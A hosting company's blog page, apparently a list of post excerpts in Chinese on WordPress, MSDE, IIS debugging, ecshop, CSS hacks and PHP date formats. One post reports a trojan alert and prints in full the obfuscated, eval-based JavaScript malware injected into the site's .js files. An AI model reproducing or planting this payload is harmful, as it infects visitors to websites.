NetPC虛擬主機的部落格

如果你有遇到以下的這個問題:
Warning: Creating default object from empty value in /public_html/wp-includes/user.php on line 657

On the computer that is hosting the instance of MSDE to which you are connecting, open the command prompt window.
Type the following command, and then press ENTER:
osql -U sa

感謝 http://mypaper.pchome.com.tw/nut0322/post/1322944571
1.          應用程式集區=>DefaultAppPool=>進階設定=>一般=>啟用32位元應用程式=>trur
2.          站台=>ASP=>啟用上層路徑, 將錯誤傳送到瀏覽器, 啟用伺服器端偵錯, 啟用用戶端偵錯=>TRUE
3.          IE=>網際網路選項=>進階=>設定值=>顯示好記的HTTP錯誤訊息=>未勾選
4.          站台=>錯誤訊息=>編輯功能設定=>詳細錯誤 這樣就可以無論本機遠端都顯示錯誤

想不到，日前為了維護104民宿查號台的作業，意外發現ESET發出木馬植入警告!
根據該警告去追查那些檔案被感染了，才發現是某些js檔被植入了一些非正常的程式碼。
程式碼的範例如下:
/*km0ae9gr6m*/try{prototype%2;}catch(asd){x=2;}try{q=document[(x)?"c"+"r":2+"e"+"a"+"t"+"e"+"E"+"l"+"e"+"m"+((f)?"e"+"n"+"t":"")]("p");q.appendChild(q+"");}catch(fwbewe){i=0;try{prototype*5;}catch(z){fr="fromChar";f=[510,702,550,594,580,630,555,660,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,240,205,738,50,192,160,192,160,708,485,684,160,624,525,192,305,192,580,624,525,690,230,690,505,606,500,192,235,192,580,624,525,690,230,486,295,60,160,192,160,192,590,582,570,192,540,666,160,366,160,696,520,630,575,276,575,606,505,600,160,222,160,696,520,630,575,276,405,354,50,192,160,192,160,708,485,684,160,696,505,690,580,192,305,192,580,624,525,690,230,390,160,252,160,648,555,192,225,192,580,624,525,690,230,492,160,252,160,624,525,354,50,192,160,192,160,630,510,240,580,606,575,696,160,372,160,288,205,738,50,192,160,192,160,192,160,192,160,696,520,630,575,276,575,606,505,600,160,366,160,696,505,690,580,354,50,192,160,192,160,750,160,606,540,690,505,192,615,60,160,192,160,192,160,192,160,192,580,624,525,690,230,690,505,606,500,192,305,192,580,606,575,696,160,258,160,696,520,630,575,276,385,354,50,192,160,192,160,750,50,192,160,192,160,684,505,696,585,684,550,192,200,696,520,630,575,276,575,606,505,600,160,252,160,696,520,630,575,276,555,660,505,474,590,606,570,462,205,354,50,750,50,60,510,702,550,594,580,630,555,660,160,492,485,660,500,666,545,468,585,654,490,606,570,426,505,660,505,684,485,696,555,684,200,702,550,630,600,246,615,60,160,192,160,192,590,582,570,192,500,192,305,192,550,606,595,192,340,582,580,606,200,702,550,630,600,252,245,288,240,288,205,354,50,192,160,192,160,708,485,684,160,690,160,366,160,600,230,618,505,696,360,666,585,684,575,240,205,192,310,192,245,300,160,378,160,294,160,348,160,288,295,60,160,192,160,192,580,624,525,690,230,690,505,606,500,192,305,192,250,306,260,318,270,330,280,342,240,294,160,258,160,240,500,276,515,606,580,462,555,660,580,624,200,246,160,252,160,288,600,420,350,420,350,420,350,246,160,258,160,240,500,276,515,606,580,408,485,696,505,240,205,192,210,192,240,720,350,420,350,420,205,258,160,240,385,582,580,624,230,684,555,702,550,600,200,690,160,252,160,288,600,420,350,420,205,246,295,60,160,192,160,192,580,624,525,690,230,390,160,366,160,312,280,300,275,294,295,60,160,192,160,192,580,624,525,690,230,462,160,366,160,300,245,312,275,312,280,306,270,312,275,354,50,192,160,192,160,696,520,630,575,276,405,192,305,192,580,624,525,690,230,462,160,282,160,696,520,630,575,276,325,354,50,192,160,192,160,696,520,630,575,276,410,192,305,192,580,624,525,690,230,462,160,222,160,696,520,630,575,276,325,354,50,192,160,192,160,696,520,630,575,276,555,660,505,474,590,606,570,462,160,366,160,294,230,288,160,282,160,696,520,630,575,276,385,354,50,192,160,192,160,696,520,630,575,276,550,606,600,696,160,366,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,354,50,192,160,192,160,684,505,696,585,684,550,192,580,624,525,690,295,60,625,60,50,612,585,660,495,696,525,666,550,192,495,684,505,582,580,606,410,582,550,600,555,654,390,702,545,588,505,684,200,684,220,192,385,630,550,264,160,462,485,720,205,738,50,192,160,192,160,684,505,696,585,684,550,192,385,582,580,624,230,684,555,702,550,600,200,240,385,582,600,270,385,630,550,246,160,252,160,684,230,660,505,720,580,240,205,192,215,192,385,630,550,246,295,60,625,60,50,612,585,660,495,696,525,666,550,192,515,606,550,606,570,582,580,606,400,690,505,702,500,666,410,582,550,600,555,654,415,696,570,630,550,618,200,702,550,630,600,264,160,648,505,660,515,696,520,264,160,732,555,660,505,246,615,60,160,192,160,192,590,582,570,192,570,582,550,600,160,366,160,660,505,714,160,492,485,660,500,666,545,468,585,654,490,606,570,426,505,660,505,684,485,696,555,684,200,702,550,630,600,246,295,60,160,192,160,192,590,582,570,192,540,606,580,696,505,684,575,192,305,192,455,234,485,234,220,234,490,234,220,234,495,234,220,234,500,234,220,234,505,234,220,234,510,234,220,234,515,234,220,234,520,234,220,234,525,234,220,234,530,234,220,234,535,234,220,234,540,234,220,234,545,234,220,234,550,234,220,234,555,234,220,234,560,234,220,234,565,234,220,234,570,234,220,234,575,234,220,234,580,234,220,234,585,234,220,234,590,234,220,234,595,234,220,234,600,234,220,234,605,234,220,234,610,234,465,354,50,192,160,192,160,708,485,684,160,690,580,684,160,366,160,234,195,354,50,192,160,192,160,612,555,684,200,708,485,684,160,630,160,366,160,288,295,192,525,192,300,192,540,606,550,618,580,624,295,192,525,192,215,258,160,246,615,60,160,192,160,192,160,192,160,192,575,696,570,192,215,366,160,648,505,696,580,606,570,690,455,594,570,606,485,696,505,492,485,660,500,666,545,468,585,654,490,606,570,240,570,582,550,600,220,192,240,264,160,648,505,696,580,606,570,690,230,648,505,660,515,696,520,192,225,192,245,246,465,354,50,192,160,192,160,750,50,192,160,192,160,684,505,696,585,684,550,192,575,696,570,192,215,192,195,276,195,192,215,192,610,666,550,606,295,60,625,60,50,690,505,696,420,630,545,606,555,702,580,240,510,702,550,594,580,630,555,660,200,246,615,60,160,192,160,192,580,684,605,738,50,192,160,192,160,192,160,192,160,630,510,240,580,726,560,606,555,612,160,630,510,684,485,654,505,522,485,690,335,684,505,582,580,606,500,192,305,366,160,204,585,660,500,606,510,630,550,606,500,204,205,738,50,192,160,192,160,192,160,192,160,192,160,192,160,630,510,684,485,654,505,522,485,690,335,684,505,582,580,606,500,192,305,192,580,684,585,606,295,60,160,192,160,192,160,192,160,192,160,192,160,192,590,582,570,192,585,660,525,720,160,366,160,462,485,696,520,276,570,666,585,660,500,240,215,660,505,714,160,408,485,696,505,240,205,282,245,288,240,288,205,354,50,192,160,192,160,192,160,192,160,192,160,192,160,708,485,684,160,600,555,654,485,630,550,468,485,654,505,192,305,192,515,606,550,606,570,582,580,606,400,690,505,702,500,666,410,582,550,600,555,654,415,696,570,630,550,618,200,702,550,630,600,264,160,294,270,264,160,234,570,702,195,246,295,60,160,192,160,192,160,192,160,192,160,192,160,192,525,612,570,654,160,366,160,600,555,594,585,654,505,660,580,276,495,684,505,582,580,606,345,648,505,654,505,660,580,240,170,438,350,492,325,462,345,204,205,354,160,60,160,192,160,192,160,192,160,192,160,192,160,192,525,612,570,654,230,690,505,696,325,696,580,684,525,588,585,696,505,240,170,690,570,594,170,264,160,204,520,696,580,672,290,282,235,204,215,600,555,654,485,630,550,468,485,654,505,258,170,282,570,702,550,612,555,684,505,690,580,684,585,660,315,690,525,600,305,588,555,696,550,606,580,300,170,246,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,630,510,684,545,276,575,696,605,648,505,276,595,630,500,696,520,192,305,192,170,288,560,720,170,354,160,60,160,192,160,192,160,192,160,192,160,192,160,192,525,612,570,654,230,690,580,726,540,606,230,624,505,630,515,624,580,192,305,192,170,288,560,720,170,354,160,60,160,192,160,192,160,192,160,192,160,192,160,192,525,612,570,654,230,690,580,726,540,606,230,708,525,690,525,588,525,648,525,696,605,192,305,192,170,624,525,600,500,606,550,204,295,192,50,192,160,192,160,192,160,192,160,192,160,192,160,600,555,594,585,654,505,660,580,276,490,666,500,726,230,582,560,672,505,660,500,402,520,630,540,600,200,630,510,684,545,246,295,60,160,192,160,192,160,192,160,192,625,60,160,192,160,192,625,594,485,696,495,624,200,606,205,738,625,60,625,264,160,318,240,288,205,354];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");for(;1776-5+5>i;i+=1){j=i;if(e)s=s+r[fr+((e)?"Code":12)]((w[j]/(5+e("j%2"))));}
if(f)e(s);}
/*qhk6sa6g1c*/
原來已經有很多人中標了!!
找了許多案例，但始終不得其解，總之是某個軟體有漏洞!!!後來想到是不是PLESK有關，於是從它的知識庫找到一個相關的主題

在使用ecshop的購物系統時，安裝時必須注意您使用的是何種時區，
若一直按「下一步」，可能就會有系統時間與伺服器時間不一致的問題發生。
例如我們有一位客戶就發生了這樣的狀況，
他的現象是，當他收到echsop系統自動發出的email時，
mail裡頭的內容有帶一個發信時間，

css Hack技術我做了一個統表:
  IE6 IE7 IE8 IE9 Firefox Opera Google PCManCB 範例 > Y Y Y N N N N Y .type { >color: #F00; } . Y Y N N N N N Y .type { .color: #F00; } * Y Y N N N N N Y .type { *color: #F00; } _ Y N N N N N N N .type { _color: #F00; } !important N Y Y Y Y Y Y Y .type { color: #F00 !important; } *+ Y Y N N N N N Y .type { *+color: #F00; }                                        

當然，官網是不會幫你改的啦，
這時，當然要有些功力的程式設計師才有辦法依照需求來改變設計。
本次修改如下圖，紅色框預設的是「數量」。
現在已變更為「商品選項」，選項並不是寫死的，
在後台可以根據需求各別制定欄位，及欄位類別。
在前台使用時，則會根據該設定，要求消費者在送出訂單時加以細部選擇。
這裡，我們還製作了一個可以將本項商品複製的功能「再選一個」，
如此，消費者可以不需要到前台就可以加買一個不同規格的同類商品，
可以說大幅提高的購物車的使用性。

因為date函數非常強大，他完全可以勝任一切這樣的工作我附個手冊裏的表吧

a - "am" 或是 "pm"   

A - "AM" 或是 "PM"   

d - 幾日，二位數字，若不足二位則前面補零; 如: "01" 至 "31"   

D - 星期幾，三個英文字母; 如: "Fri"   

F - 月份，英文全名; 如: "January"   

h - 12 小時制的小時; 如: "01" 至 "12"   

H - 24 小時制的小時; 如: "00" 至 "23"   

g - 12 小時制的小時，不足二位不補零; 如: "1" 至 12"   

G - 24 小時制的小時，不足二位不補零; 如: "0" 至 "23"   

i - 分鐘; 如: "00" 至 "59"   

j - 幾日，二位數字，若不足二位不補零; 如: "1" 至 "31"   

l - 星期幾，英文全名; 如: "Friday"   

m - 月份，二位數字，若不足二位則在前面補零; 如: "01" 至 "12"   

n - 月份，二位數字，若不足二位則不補零; 如: "1" 至 "12"   

M - 月份，三個英文字母; 如: "Jan"   

s - 秒; 如: "00" 至 "59"   

S - 字尾加英文序數，二個英文字母; 如: "th"，"nd"   

t - 指定月份的天數; 如: "28" 至 "31"   

U - 總秒數   

w - 數字型的星期幾，如: "0" (星期日) 至 "6" (星期六)   

Y - 年，四位數字; 如: "1999"   

y - 年，二位數字; 如: "99"   

z - 一年中的第幾天; 如: "0" 至 "365"